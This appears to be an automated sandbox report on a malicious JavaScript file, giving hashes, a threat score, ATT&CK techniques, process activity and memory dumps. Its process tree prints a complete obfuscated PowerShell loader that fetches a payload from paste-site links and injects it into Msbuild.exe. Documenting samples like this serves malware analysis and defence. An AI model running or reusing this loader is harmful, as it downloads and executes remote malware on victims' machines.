07bf65a19f185ee51e47bbb2f82e4e6119adf880a293e4bcf313beca6269415c

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/04/2026, 07:33

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General

Target
SOSTENER.js
Size 61KB
Sample260415-jdn3aaby4t
SHA256 07bf65a19f185ee51e47bbb2f82e4e6119adf880a293e4bcf313beca6269415c
MD5 90bbe79101b6f3aea0a1d2aaa8f3aed7
SHA1 dd3ed10706135ef9dd7032209476ebaa215a4bbc
SHA512 76d614d9fa3e4178de39b8b028ad8bc50764c38de549085d03028ca75f9effc6aecbdb834fcad54d97ea6c0bd45c6ba408195a2e644fb6a68a826e1d325f7859
SSDEEP 1536:HG3FOwEYLY1k3YHoraymieQChkId/w7CS7l7S:HG1Ow2IraymZhoz0
TLSH
T1C95320F4B77E384004E7868245093376DE1A7886AD08F71AFD2754E9A72FD6C6EC2670
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1140	4996	powershell.exe	78

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1140	powershell.exe
3	1140	powershell.exe
4	1140	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1140	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1140 set thread context of 3100	1140	powershell.exe	81

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1140	powershell.exe
1140	powershell.exe
1140	powershell.exe
1140	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	3100	Msbuild.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3100	Msbuild.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1140 wrote to memory of 3100	1140	powershell.exe	81
PID 1140 wrote to memory of 3100	1140	powershell.exe	81
PID 1140 wrote to memory of 3100	1140	powershell.exe	81
PID 1140 wrote to memory of 3100	1140	powershell.exe	81
PID 1140 wrote to memory of 3100	1140	powershell.exe	81

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\SOSTENER.js
1⤵
PID:4692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$ddsfdfdjhsdfgdgo = 'DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBBADMAWQBvAE4ANgB5AFEAOABZAHUAUgA5ADEANAAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBPADkAUQByAHQAMwBJADcAZABxADIATAA3AHAAYQAnACkAKQA7ACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBf#AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQAnACAAKwAgACcAUwBFACcAIAAf#ACAAJwA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBtAHkAcAByAG8AZwByAGEAbQAuAEgAbwBtAGUAZQBzACcAKQA7AA0ACgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAGUAYwA9ACcATQBzAGIAdQBpAGwAZAAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAZwAgAD0AIAAnAHcAYQByAC8ATABDAGMANAB2AEkASQBEAC8AcABwAGEALgB5AGYAZQB0AHMAYQBwAC8ALwA6AHMAZwBzAGYAZgBzAGYAJwAgADsAIAAkAGcAZwAgAD0AIAAkAGcAZwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcALgBMAGUAbgBnAHQAaAAgAC0AIAA2ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgBzACcAIAAf#ACAAJwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAkAGcAZwAgACwAJwAwACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA==';$OhgjuxD = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdfdjhsdfgdgo.replace('f#','r')));iex $OhgjuxD"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1140
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:3100

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_mofpoplb.ajw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mofpoplb.ajw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1140-15-0x0000026637C80000-0x0000026637C90000-memory.dmp

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memory/1140-20-0x0000026637FA0000-0x0000026637FE4000-memory.dmp

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memory/1140-3-0x0000026637D00000-0x0000026637D22000-memory.dmp

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memory/1140-24-0x000002661F550000-0x000002661F55C000-memory.dmp

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memory/1140-10-0x0000026637C80000-0x0000026637C90000-memory.dmp

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memory/1140-11-0x0000026637C80000-0x0000026637C90000-memory.dmp

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memory/1140-12-0x000002661F550000-0x000002661F55C000-memory.dmp

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memory/1140-14-0x0000026637C30000-0x0000026637C42000-memory.dmp

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memory/1140-2-0x0000026637C80000-0x0000026637C90000-memory.dmp

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memory/1140-13-0x000002661F580000-0x000002661F62F000-memory.dmp

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memory/1140-25-0x000002661F580000-0x000002661F62F000-memory.dmp

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memory/3100-21-0x0000000000050000-0x00000000000A0000-memory.dmp

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memory/3100-27-0x0000000005FE0000-0x0000000006586000-memory.dmp

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memory/3100-28-0x0000000005A30000-0x0000000005AC2000-memory.dmp

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memory/3100-29-0x0000000005960000-0x0000000005970000-memory.dmp

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memory/3100-31-0x0000000005960000-0x0000000005970000-memory.dmp

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memory/3100-30-0x0000000005AD0000-0x0000000005B91000-memory.dmp

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memory/4692-0-0x000001F7D4D60000-0x000001F7D4E0F000-memory.dmp

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memory/4692-1-0x000001F7D4990000-0x000001F7D499C000-memory.dmp

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